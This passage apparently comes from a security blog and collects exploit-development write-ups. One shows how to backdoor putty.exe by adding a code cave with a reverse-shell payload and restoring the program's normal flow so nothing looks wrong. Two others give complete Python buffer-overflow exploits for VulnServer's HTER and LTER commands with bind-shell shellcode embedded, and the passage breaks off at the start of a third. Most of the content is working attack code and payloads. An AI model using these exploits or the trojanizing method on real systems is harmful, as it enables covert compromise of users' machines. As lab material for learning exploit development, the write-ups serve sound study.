Before anything else, let’s first discuss what a code cave is. According to Wikipedia:

A code cave is a series of null bytes in a process’s memory. The code cave inside a process’s memory is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions. For example, if a script’s memory allows for 5 bytes and only 3 bytes are used, then the remaining 2 bytes can be used to add external code to the script.

If you want to learn more about code cave, this article provides a good insight about it. I highly recommend that you read it.

Program’s Execution Flow

The following diagram shows the execution flow of the executable file, before and after the modification. As you can see, we will create a code cave by inserting a new section header to the executable file, and redirect the program’s execution flow to it. Once the shellcode in our code cave is executed, we will jump back to the original code that was meant to be executed by the program, and continue the execution as if nothing changes.

Adding a New Section Header (Code Cave)

Before adding a new section header to the exe file, let’s first upload it to Virustotal. The file was detected as clean, with a detection rate of 0/68.

Now, let’s add a new section to the exe file. To do this, we’re going to use LordPE which can be downloaded here. Once downloaded, open LordPE, click the PE Editor button, and then select our exe file (putty.exe). To view the current section headers of the file, click the Sections button. To add a new section header, righ-click anywhere in the available sections then select add section header….

A new section header called .NewSec is created. Let’s set its size by editing this new section header.

We’re going to rename the new section to .meelo, and set the value of VirtualSize and RawSize to 00001000 (Note: This value is in hex format. So the actual size of this section is 4096 bytes.). Before saving the changes that we’ve made, let’s first check the flags by clicking the … button. Make sure that this section is writeable and executable.

Once done, let’s save the changes that we’ve made to the file. If we open up the modified exe file, an error like this shows up. Why? That’s because we created a section header to the exe file which is empty.

To fix the error, let’s open the modified exe file using a Hex Editor called XVI32, which is available here, and then add 1000h bytes of data to the binary by going to Edit > Insert String….

Then insert a Hex string value of 00 and make sure that it is inserted 1000 times. Before pressing OK, note that the last address of the exe file is 0x7FFFF.

Upon pressing OK, we can see that the last address becomes 0x80FFF. Lastly, save the changes made to the file.

Now, when we open putty, the error is gone. That’s great!

If we check the modified file to VirusTotal again, we can see that it’s now being detected as malicious with a detection rate of 14/66.

Hijacking the Program’s Execution Flow

Before modifying the program’s flow, let’s first get the first 3 instructions that the program will execute upon opening. As seen below, the program’s entry point is at 0x00454eB0 with an instruction of PUSH 60.

Let’s note the first 3 instructions of the program.

00454EB0 > $ 6A 60          PUSH 60
00454EB2   . 68 707B4700    PUSH putty.00477B70
00454EB7   . E8 08210000    CALL putty.00456FC4

Before we could redirect the execution flow to our code cave, we first need to locate its address. By going to the Memory Window, we can see that the .meelo section is located at 0x00484000.

To be able to jump to our code cave once putty is executed, we need to change the instruction at the program’s entry point. This could be done by double-clicking at the current instruction and change it to JMP [code_cave_address].

If you’ve observed, the PUSH putty.00477b70 instruction was overwritten with 2 NOPs. This is because of the overflow that occurred when changing the original instruction. Going back to the image above, the opcode of PUSH 60 is only 2 bytes. While the opcode for JMP [code_cave_address] is 5 bytes. We’ve overwritten a 2-byte space with 5-bytes instructions, so an overflow occurred. The 2 NOPs acted as a filler because the option Fill with NOP’s is ticked. To save the changes, select the instructions that were modified, right-click, and then select Copy to executable > Selection.

A new window pops up. Just right-click again and select Save file. Let’s save the file as putty1.exe.

Upon opening the modified file, we can see that the instruction at the program’s entry point is already a jump instruction to our code cave.

Let’s step into (F7) this instruction to jump to our code cave. In this code cave, we’re going to follow this structure.

PUSHAD                            # Save the registers
PUSHFD                            # Save the flags
...shellcode...        
STACK ALIGNMENT                   # Restore the stack to its previous value
POPFD                             # Restore the flags
POPAD                             # Restore the registers
...restore execution flow...

Using the structure above, we need to save first the registers and the flags using PUSHAD and PUSHFD. For us to align the stack later, we need first to get the value of ESP right at the beginning of our shellcode. In this case, ESP = 0x0012FFA0.

Then, let’s generate a shellcode in hex format using MSFvenom. This can be done using the following command:

To add the the generated shellcode, select first a large number of instruction in the code cave and then do a Binary paste.

Here’s what our updated code looked like.

In our shellcode, we have to change one of its instructions. First, let’s look for the following sequence of instuctions DEC ESI; PUSH ESI; INC ESI. Once located, we have to change DEC ESI into a NOP instruction. We have to do this so that the value of the dwMilliseconds parameter, from the WaitForSingleObject function, is set to zero. If we’re not going to do this, we’ll see that putty won’t run until we exited from our shell. Try it yourself!

Let’s save the changes we’ve made above as putty2.exe. The next thing we need to do is to get the new value of ESP after the shellcode has been executed. To do this, we’ll set a breakpoint at the last instruction of the shellcode. On our attacking machine, let’s set up a listener using nc -lvp 4444. When we run the program, we observe that the debugger hangs up.

When we look at our listener, we can see that a connection was established and a shell was gained So what’s causing the problem?

Let’s try executing a command on our shell.

Doing that causes the debugger to run again. As seen, the breakpoint is hit and ESP = 0x0012FD9C.

The next step is to continue the execution so that the next instruction to be executed (which will align our stack) would be the instruction right after CALL EBP. However, doing so causes the debugger to hang up again.

Let’s try exiting from our shellcode.

As seen, the debugger is running again.

When we continue running the program, an error occurs. This time, the program terminates and we can see that EIP is pointing to ntdll.KiFastSystemCallRet.

To resolve the issue with ntdll.KiFastSystemCallRet, I came up with two solutions. If you discovered other solutions, please share it with me.

SOLUTION #1: (NOPing the Last Instruction)

Let’s change the CALL EBP into NOP; NOP. Take note that 2 NOPs is needed since the opcode of CALL EBP is 2-bytes long. Let’s save the changes and name it as putty3.exe.

When we run the new program, we’re now redirected to the location right after the shellcode.

The next instruction that needs to be added in our code cave is our stack alignment code. Let’s first compute the difference between the old and new value of ESP: 0x0012FFA0 - 0x0012FD9C = 0x204. To restore the stack to its previous value, let’s use the ADD ESP, 204 instruction. After this, let’s restore the previous values of our registers and flags using POPFD; POPAD.

Right after these instructions would be our clean up code. Since we hijacked putty’s execution flow to redirect to our code cave, we need to restore its original execution flow. If you remember, we overwrote the instruction at the program’s entry point - the PUSH 60 instruction. Again, due to the overflow, the PUSH putty.00477B70 instruction was also changed into 2 NOPs. To restore the original instructions, let’s use PUSH 60; PUSH 00477B70. After that, let’s redirect the execution back to the CALL putty.00456FC4 instruction which was located at 0x00454EB7 (Remember, this is the 3rd instruction after the program’s entry point.). This redirection can be done using the JMP 00454EB7 instruction.

Let’s save the changes above as putty4.exe. When we execute the updated exe file, we can see that putty runs fine.

And when we look back at our listener, the connection was established.

SOLUTION #2: (SEH as ExitFunc)

The second solution that I came up with to resolve the issue with ntdll.KiFastSystemCallRet is by using the option EXITFUNC=seh on our shellcode.

Let’s make the same changes to our shellcode (change DEC ESI to NOP), add the instructions to restore the flags and registers, align the stack, and add our clean up code. Let’s save the modified file as putty-seh.exe.

When we run the modified code, we can see that our breakpoint right after the CALL EBP instruction is hit. That means the issue with ntdll.KiFastSystemCallRet is already fixed.

If we continue running the program, putty open ups without any errors.

And we gained a shell on our attacking machine.

Conclusion

In this post, we learned how to add a code cave to an executable file and used that code cave to inject a malicious code. We also learned how to redirect a program’s execution flow into our code cave and then back to the original execution flow. Doing so will avoid suspicion that something is wrong with the program.

However, if you keep an detailed observation on our backdoored program, you’ll see that putty won’t open up until it has made a connection to our attacking machine. This is not good especially if we forgot to set up our listener. In the next post, we’ll try to resolve this issue.

Before ending this post, let’s see the detection rate of the modified exe file. As seen, we have a detection rate of 31/66. And that’s pretty bad.

[VulnServer] Exploiting HTER Command using Hex Characters Only

Sun, 01 Jul 2018 00:00:00 +0000

I used the following skeleton for the exploitation of the HTER command.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("HTER 0" + buffer)
print s.recv(1024)
s.close()

Sending 3000 bytes of A”s caused a crash to the application. However, EIP was overwritten with AAAAAAAA instead of 41414141. I’ve sent different strings as buffers to further observed the behavior of the application. Based on it, I observed that the buffer was somehow being converted into hex bytes as opposed to ASCII.

The unique strings generated by the command !mona pc didn’t work since the buffer was being converted into hex bytes. So, I used the “Binary Tree Analysis” method to determine the offset. Instead of sending 3000 A’s, I spent 1500 A’s and 1500 B’s.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*1500
buffer += "B"*1500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("HTER 0" + buffer)
print s.recv(1024)
s.close()

Since EIP was overwritten with BBBBBBBB, I knew that the bytes resided in the 2nd half of the buffer - the 1500 bytes of B’s.

Next, I changed the 1500 B’s into 750 B’s and 750 C’s.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*1500
buffer += "B"*750
buffer += "C"*750

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("HTER 0" + buffer)
print s.recv(1024)
s.close()

Again, EIP was still overwritten with B’s.

I repeated the same process a few times until I discovered that the offset was 2040 bytes. The following shows the updated code. (Note: I used 8 B’s instead of 4 only since the buffer was being converted into hex bytes.)

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*2040
buffer += "BBBBBBBB"
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("HTER 0" + buffer)
print s.recv(1024)
s.close()

Running the new code resulted into EIP being overwritten with 8 B’s. As seen also, ESP was located right after the buffer of B’s.

To redirect the execution to the buffer of C’s, I used !mona jmp -r esp -m ‘essfunc.dll’ to find an address containing a JMP ESP instruction. For this, I used the first address, which was 0x625011AF.

I then modified the code to the following.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*2040
buffer += "AF115062"    # JMP ESP from essfunc.dll
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("HTER 0" + buffer)
print s.recv(1024)
s.close()

As seen, the redirection worked.

The next thing that I did was generate a shellcode in hex format.

The following shows the final exploit code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f hex
# Payload size: 355 bytes
shellcode = "ba4644ed07ddc6d97424f45e29c9b15383eefc31560e03104a0ff260ba4dfd983b32777d0a72e3f63d42675ab229254e415fe261e2ead44cf34724cf779a792f49558c2e8e887d6247c6d092ec92e819be3369fe77355851036c7a50c004334a05208de1fdde0c23cc1fa20ae0edba4bc70dc9a53bb3ca72416f5e60e1e4f84c13289e071f85d44f3c1838e43891bf2ac9e19bee91b282b77f14baa7dfc91eacf21e13ef9ad31e0f5b7c287c692382eac1ac0ced2687e961d9280aa81e7c5ac2b7fd31123728af1a9e83d2e760745347099e5cb829a1b6d1c25c39cc4ee8df847ebc4830bd9b40a7bec9f84ff61b3e70070e68e68c5dac17934b844004014523b4164cd355840b2313b58374740bda106832740671a2bf82ae17410b2223651bfaac214f52fbff3914554e93ce0a187396609b0597ac6de92619281686cdbc6ffa6d42babe8ea16ecb267cfb762b7fd6b552fcd245a11c9740ed9a44397e4f6aee7f5a"

buffer = "A"*2040
buffer += "AF115062"    # JMP ESP from essfunc.dll
buffer += "90"*16       # nopsled
buffer += shellcode
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("HTER 0" + buffer)
print s.recv(1024)
s.close()

Running this caused the target machine to spawn a “listening” port on 4444/tcp.

Connecting to this port allowed me to have a shell access.

[VulnServer] Exploiting LTER Command using Restricted Characters

Sat, 30 Jun 2018 00:00:00 +0000

The following skeleton was used for the exploitation of the LTER command.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

Sending this code caused the application to crash.

I ran !mona pc 3000 to generate a unique string of 3000 bytes.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

Using !mona findmsp, that offset was identified at 2003 bytes.

The code was modified to make sure that the offset was correct.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*2003
buffer += "BBBB"
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, the offset was correct and 4 B’s overwrote EIP. It can also be seen that ESP was located directly after EIP and pointed to the buffer of C’s.

To find the bad characters, I modified the following code and stored it right after the 4 B’s.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A"*2003
buffer += "BBBB"
buffer += badchars
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen here, right after \x7F, the character \x80 was translated to \x01. It turned out that every character after \x7F will be converted by subtracting \x7F. In the case of \xFF, it was converted to \x80 due to the minus \x7F. From that, I observed that the allowed characters were only ASCII (except of NULL byte).

With that, I used !mona jmp -r esp -cp ascii -m "essfunc.dll” to find an address containing an JMP ESP instruction. Take note of the option -cp ascii. This was used to make sure that the resulting address(es) only contains ASCII characters. For this, I used the firsts instance which was 0x62501203.

I then modifie the code and tried the JMP ESP address.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*2003
buffer += "\x03\x12\x50\x62"        # JMP ESP from essfunc.dll (ascii only)
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, it worked and I was redirected to the buffer of C’s.

Next, I generated a shellcode using the alpha_mixed encoder. I had to use this encoder to generate a shellcode that would contain only the list of allowed characters. It should be noted also that I used the option BufferRegister=ESP. Without this option, the shellcode will begin with the opcodes \x89\xe2\xdb\xdb\xd9\x72. This opcodes are needed in order to find the shellcode’s absolute location in memory. In this exploit, I already knew the absolute location of my shellcode, which was in ESP. With that, I opted to use the BufferRegister=ESP option when I generated my shellcode. If you want to learn more about the alpha_mixed encoder, please read this.

The following shows the final exploit code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -e x86/alpha_mixed -b "\x00" BufferRegister=ESP -f c
# Payload size: 710 bytes
shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4d\x38\x6c\x42\x33\x30"
"\x33\x30\x43\x30\x43\x50\x4e\x69\x58\x65\x54\x71\x6b\x70\x33"
"\x54\x4c\x4b\x52\x70\x54\x70\x4c\x4b\x71\x42\x36\x6c\x4e\x6b"
"\x50\x52\x62\x34\x6c\x4b\x64\x32\x51\x38\x54\x4f\x4e\x57\x42"
"\x6a\x45\x76\x34\x71\x39\x6f\x6e\x4c\x35\x6c\x45\x31\x53\x4c"
"\x54\x42\x76\x4c\x47\x50\x49\x51\x78\x4f\x74\x4d\x57\x71\x6b"
"\x77\x68\x62\x59\x62\x53\x62\x66\x37\x4c\x4b\x73\x62\x52\x30"
"\x6e\x6b\x63\x7a\x75\x6c\x4c\x4b\x52\x6c\x46\x71\x33\x48\x38"
"\x63\x42\x68\x77\x71\x38\x51\x30\x51\x6e\x6b\x32\x79\x67\x50"
"\x33\x31\x38\x53\x6c\x4b\x51\x59\x42\x38\x6d\x33\x76\x5a\x70"
"\x49\x4e\x6b\x37\x44\x6e\x6b\x77\x71\x6a\x76\x64\x71\x39\x6f"
"\x6e\x4c\x79\x51\x38\x4f\x46\x6d\x65\x51\x4a\x67\x34\x78\x69"
"\x70\x30\x75\x68\x76\x56\x63\x33\x4d\x58\x78\x45\x6b\x51\x6d"
"\x67\x54\x73\x45\x48\x64\x73\x68\x4c\x4b\x36\x38\x54\x64\x55"
"\x51\x6b\x63\x50\x66\x4c\x4b\x44\x4c\x52\x6b\x6c\x4b\x76\x38"
"\x67\x6c\x77\x71\x5a\x73\x4c\x4b\x63\x34\x6c\x4b\x66\x61\x38"
"\x50\x6e\x69\x47\x34\x66\x44\x57\x54\x31\x4b\x43\x6b\x65\x31"
"\x33\x69\x62\x7a\x52\x71\x49\x6f\x49\x70\x71\x4f\x71\x4f\x51"
"\x4a\x4c\x4b\x45\x42\x78\x6b\x6e\x6d\x71\x4d\x61\x78\x34\x73"
"\x74\x72\x55\x50\x55\x50\x42\x48\x42\x57\x54\x33\x44\x72\x31"
"\x4f\x76\x34\x65\x38\x42\x6c\x74\x37\x56\x46\x36\x67\x59\x6f"
"\x78\x55\x78\x38\x6a\x30\x63\x31\x67\x70\x33\x30\x44\x69\x78"
"\x44\x72\x74\x66\x30\x42\x48\x56\x49\x4b\x30\x42\x4b\x53\x30"
"\x4b\x4f\x79\x45\x32\x4a\x75\x58\x30\x59\x62\x70\x6a\x42\x6b"
"\x4d\x57\x30\x56\x30\x53\x70\x52\x70\x61\x78\x79\x7a\x46\x6f"
"\x49\x4f\x39\x70\x6b\x4f\x6e\x35\x6d\x47\x62\x48\x57\x72\x73"
"\x30\x57\x61\x53\x6c\x6e\x69\x7a\x46\x70\x6a\x64\x50\x73\x66"
"\x52\x77\x33\x58\x39\x52\x49\x4b\x37\x47\x63\x57\x49\x6f\x59"
"\x45\x62\x77\x71\x78\x58\x37\x6a\x49\x34\x78\x59\x6f\x4b\x4f"
"\x39\x45\x50\x57\x43\x58\x43\x44\x68\x6c\x67\x4b\x48\x61\x49"
"\x6f\x4b\x65\x76\x37\x6e\x77\x72\x48\x34\x35\x42\x4e\x70\x4d"
"\x73\x51\x49\x6f\x4e\x35\x53\x58\x32\x43\x52\x4d\x45\x34\x53"
"\x30\x6e\x69\x6b\x53\x72\x77\x50\x57\x53\x67\x44\x71\x49\x66"
"\x43\x5a\x52\x32\x72\x79\x53\x66\x78\x62\x59\x6d\x30\x66\x79"
"\x57\x73\x74\x64\x64\x57\x4c\x65\x51\x57\x71\x4c\x4d\x73\x74"
"\x61\x34\x64\x50\x69\x56\x53\x30\x32\x64\x66\x34\x56\x30\x36"
"\x36\x66\x36\x43\x66\x72\x66\x46\x36\x72\x6e\x66\x36\x31\x46"
"\x33\x63\x30\x56\x30\x68\x71\x69\x58\x4c\x45\x6f\x4f\x76\x59"
"\x6f\x4a\x75\x4f\x79\x6d\x30\x50\x4e\x51\x46\x53\x76\x6b\x4f"
"\x54\x70\x53\x58\x64\x48\x4f\x77\x67\x6d\x31\x70\x39\x6f\x69"
"\x45\x4d\x6b\x59\x70\x55\x4d\x54\x6a\x46\x6a\x65\x38\x4d\x76"
"\x7a\x35\x4d\x6d\x6f\x6d\x6b\x4f\x68\x55\x35\x6c\x54\x46\x31"
"\x6c\x67\x7a\x6b\x30\x39\x6b\x39\x70\x43\x45\x63\x35\x6d\x6b"
"\x72\x67\x56\x73\x73\x42\x70\x6f\x62\x4a\x43\x30\x42\x73\x6b"
"\x4f\x4a\x75\x41\x41")

buffer = "A"*2003
buffer += "\x03\x12\x50\x62"        # JMP ESP from essfunc.dll (ascii only)
buffer += shellcode
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

Running this caused the target machine to spawn a bind shell on port 4444/tcp.

Connecting to this port allowed me to have shell access on the target machine.

[VulnServer] Exploiting GMON Command via SEH and Egghunter

Sat, 30 Jun 2018 00:00:00 +0000

I used the following skeleton to exploit the GMON command.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
